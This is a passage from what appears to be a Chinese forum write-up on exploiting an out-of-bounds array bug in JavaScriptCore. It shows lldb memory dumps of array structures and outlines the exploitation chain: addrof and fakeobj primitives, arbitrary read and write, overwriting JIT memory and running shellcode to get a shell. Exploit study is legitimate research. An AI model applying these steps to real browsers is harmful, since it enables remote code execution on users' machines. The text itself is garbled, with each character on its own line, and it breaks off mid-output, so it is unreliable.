t
h
i
s
m
a
n
i
p
u
l
a
t
i
o
n
|
*
n
o
e
n
c
o
d
e
d
d
o
u
b
l
e
-
p
r
e
c
i
s
i
o
n
v
a
l
u
e
w
i
l
l
b
e
g
i
n
w
i
t
h
t
h
e
p
a
t
t
e
r
n
0
x
0
0
0
0
o
r
0
x
F
F
F
F
.
|
*
V
a
l
u
e
s
m
u
s
t
b
e
d
e
c
o
d
e
d
b
y
r
e
v
e
r
s
i
n
g
t
h
i
s
o
p
e
r
a
t
i
o
n
b
e
f
o
r
e
s
u
b
s
e
q
u
e
n
t
f
l
o
a
t
i
n
g
p
o
i
n
t
|
*
o
p
e
r
a
t
i
o
n
s
m
a
y
b
e
p
e
f
o
r
m
e
d
.
|
*
|
*
3
2
-
b
i
t
s
i
g
n
e
d
i
n
t
e
g
e
r
s
a
r
e
m
a
r
k
e
d
w
i
t
h
t
h
e
1
6
-
b
i
t
t
a
g
0
x
F
F
F
F
.
|
*
|
*
T
h
e
t
a
g
0
x
0
0
0
0
d
e
n
o
t
e
s
a
p
o
i
n
t
e
r
,
o
r
a
n
o
t
h
e
r
f
o
r
m
o
f
t
a
g
g
e
d
i
m
m
e
d
i
a
t
e
.
B
o
o
l
e
a
n
,
|
*
n
u
l
l
a
n
d
u
n
d
e
f
i
n
e
d
v
a
l
u
e
s
a
r
e
r
e
p
r
e
s
e
n
t
e
d
b
y
s
p
e
c
i
f
i
c
,
i
n
v
a
l
i
d
p
o
i
n
t
e
r
v
a
l
u
e
s
:
|
*
|
*
F
a
l
s
e
:
0
x
0
6
|
*
T
r
u
e
:
0
x
0
7
|
*
U
n
d
e
f
i
n
e
d
:
0
x
0
a
|
*
N
u
l
l
:
0
x
0
2
这
里
我
们
要
关
注
m
_
s
t
r
u
c
t
u
r
e
I
D
,
j
s
c
把
不
同
的
s
t
r
u
c
t
u
r
e
描
述
放
在
一
个
表
里
面
,
m
_
s
t
r
u
c
t
u
r
e
I
D
就
是
不
同
的
对
应
s
t
r
u
c
t
u
r
e
的
索
引
,
数
组
的
属
性
之
类
做
了
改
变
,
也
会
跟
着
换
m
_
s
t
r
u
c
t
u
r
e
I
D
,
主
要
是
一
些
优
化
上
的
考
虑
。
(
l
l
d
b
i
n
i
t
)
r
P
r
o
c
e
s
s
3
5
8
7
5
l
a
u
n
c
h
e
d
:
'
.
/
D
e
b
u
g
/
b
i
n
/
j
s
c
'
(
x
8
6
_
6
4
)
>
>
>
a
=
[
1
.
1
]
1
.
1
>
>
>
d
e
s
c
r
i
b
e
(
a
)
O
b
j
e
c
t
:
0
x
7
f
f
f
a
f
4
b
4
3
4
0
w
i
t
h
b
u
t
t
e
r
f
l
y
0
x
7
f
e
0
0
0
0
e
4
0
0
8
(
S
t
r
u
c
t
u
r
e
0
x
7
f
f
f
a
f
4
f
2
a
7
0
:
[
A
r
r
a
y
,
{
}
,
A
r
r
a
y
W
i
t
h
D
o
u
b
l
e
,
P
r
o
t
o
:
>
>
>
P
r
o
c
e
s
s
3
5
8
7
5
s
t
o
p
p
e
d
*
t
h
r
e
a
d
#
1
,
n
a
m
e
=
'
j
s
c
'
,
s
t
o
p
r
e
a
s
o
n
=
s
i
g
n
a
l
S
I
G
S
T
O
P
f
r
a
m
e
#
0
:
0
x
0
0
0
0
7
f
f
f
f
3
4
4
e
0
b
4
l
i
b
c
.
s
o
.
6
`
_
_
G
I
_
_
_
l
i
b
c
_
r
e
a
d
a
t
r
e
a
d
.
c
:
2
7
(
l
l
d
b
i
n
i
t
)
x
/
1
0
g
x
0
x
7
f
f
f
a
f
4
b
4
3
4
0
0
x
7
f
f
f
a
f
4
b
4
3
4
0
:
0
x
0
1
0
8
2
1
0
7
0
0
0
0
0
0
6
2
0
x
0
0
0
0
7
f
e
0
0
0
0
e
4
0
0
8
0
x
7
f
f
f
a
f
4
b
4
3
5
0
:
0
x
0
0
0
0
0
0
0
0
b
a
d
b
e
e
f
0
0
x
0
0
0
0
0
0
0
0
b
a
d
b
e
e
f
0
0
x
7
f
f
f
a
f
4
b
4
3
6
0
:
0
x
0
0
0
0
0
0
0
0
b
a
d
b
e
e
f
0
0
x
0
0
0
0
0
0
0
0
b
a
d
b
e
e
f
0
0
x
7
f
f
f
a
f
4
b
4
3
7
0
:
0
x
0
0
0
0
0
0
0
0
b
a
d
b
e
e
f
0
0
x
0
0
0
0
0
0
0
0
b
a
d
b
e
e
f
0
0
x
7
f
f
f
a
f
4
b
4
3
8
0
:
0
x
0
0
0
0
0
0
0
0
b
a
d
b
e
e
f
0
0
x
0
0
0
0
0
0
0
0
b
a
d
b
e
e
f
0
(
l
l
d
b
i
n
i
t
)
p
/
x
*
(
J
S
C
:
:
J
S
O
b
j
e
c
t
*
)
0
x
7
f
f
f
a
f
4
b
4
3
4
0
(
J
S
C
:
:
J
S
O
b
j
e
c
t
)
$
3
=
{
J
S
C
:
:
J
S
C
e
l
l
=
{
m
_
s
t
r
u
c
t
u
r
e
I
D
=
0
x
0
0
0
0
0
0
6
2
m
_
i
n
d
e
x
i
n
g
T
y
p
e
A
n
d
M
i
s
c
=
0
x
0
7
m
_
t
y
p
e
=
0
x
2
1
m
_
f
l
a
g
s
=
0
x
0
8
m
_
c
e
l
l
S
t
a
t
e
=
0
x
0
1
}
m
_
b
u
t
t
e
r
f
l
y
=
(
m
_
v
a
l
u
e
=
0
x
0
0
0
0
7
f
e
0
0
0
0
e
4
0
0
8
)
}
漏
洞
利
用
漏
洞
利
用
从
上
面
分
析
我
们
知
道
这
是
一
个
数
组
越
界
的
漏
洞
,
在
浏
览
器
的
利
用
中
,
一
般
的
步
骤
是
构
造
出
a
d
d
r
o
f
和
f
a
k
e
o
b
j
函
数
,
然
后
构
造
出
任
意
地
址
读
写
,
最
后
劫
持
控
制
流
之
类
的
,
像
v
8
的
利
用
中
,
可
以
用
w
a
s
m
I
n
s
t
a
n
c
e
的
内
存
地
址
,
然
后
写
s
h
e
l
l
c
o
d
e
来
g
e
t
s
h
e
l
l
。
这
里
我
们
的
利
用
步
骤
如
下
:
构
造
a
d
d
r
o
f
和
f
a
k
e
o
b
j
构
造
任
意
地
址
读
写
改
写
j
i
t
编
写
s
h
e
l
l
c
o
d
e
g
e
t
s
h
e
l
l
构
造
构
造
a
d
d
r
o
f
和
和
f
a
k
e
o
b
j
j
s
c
和
d
8
些
许
的
不
同
,
但
是
基
本
思
路
还
是
差
不
多
的
,
我
们
先
要
有
下
面
两
个
函
数
,
方
便
做
d
o
u
b
l
e
到
u
n
s
i
g
n
e
d
l
o
n
g
类
型
的
转
换
。
>
>
>
a
=
[
1
.
1
]
1
.
1
>
>
>
d
e
s
c
r
i
b
e
(
a
)
O
b
j
e
c
t
:
0
x
7
f
f
f
a
f
4
b
4
3
4
0
w
i
t
h
b
u
t
t
e
r
f
l
y
0
x
7
f
e
0
0
0
0
e
4
0
0
8
(
S
t
r
u
c
t
u
r
e
0
x
7
f
f
f
a
f
4
f
2
a
7
0
:
[
A
r
r
a
y
,
{
}
,
A
r
r
a
y
W
i
t
h
D
o
u
b
l
e
,
P
r
o
t
o
:
>
>
>
a
.
p
u
s
h
(
{
}
)
2
>
>
>
d
e
s
c
r
i
b
e
(
a
)
O
b
j
e
c
t
:
0
x
7
f
f
f
a
f
4
b
4
3
4
0
w
i
t
h
b
u
t
t
e
r
f
l
y
0
x
7
f
e
0
0
0
0
e
4
0
0
8
(
S
t
r
u
c
t
u
r
e
0
x
7
f
f
f
a
f
4
f
2
a
e
0
:
[
A
r
r
a
y
,
{
}
,
A
r
r
a
y
W
i
t
h
C
o
n
t
i
g
u
o
u
s
,
P
r
o
t
o
:
>
>
>
a
.
x
=
1
1
>
>
>
d
e
s
c
r
i
b
e
(
a
)
O
b
j
e
c
t
:
0
x
7
f
f
f
a
f
4
b
4
3
4
0
w
i
t
h
b
u
t
t
e
r
f
l
y
0
x
7
f
e
0
0
0
0
e
0
0
2
8
(
S
t
r
u
c
t
u
r
e
0
x
7
f
f
f
a
f
4
7
0
3
1
0
:
[
A
r
r
a
y
,
{
x
:
1
0
0
}
,
A
r
r
a
y
W
i
t
h
C
o
n
t
i
g
u
o
u
s
,
P
r
o
t
o
:
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页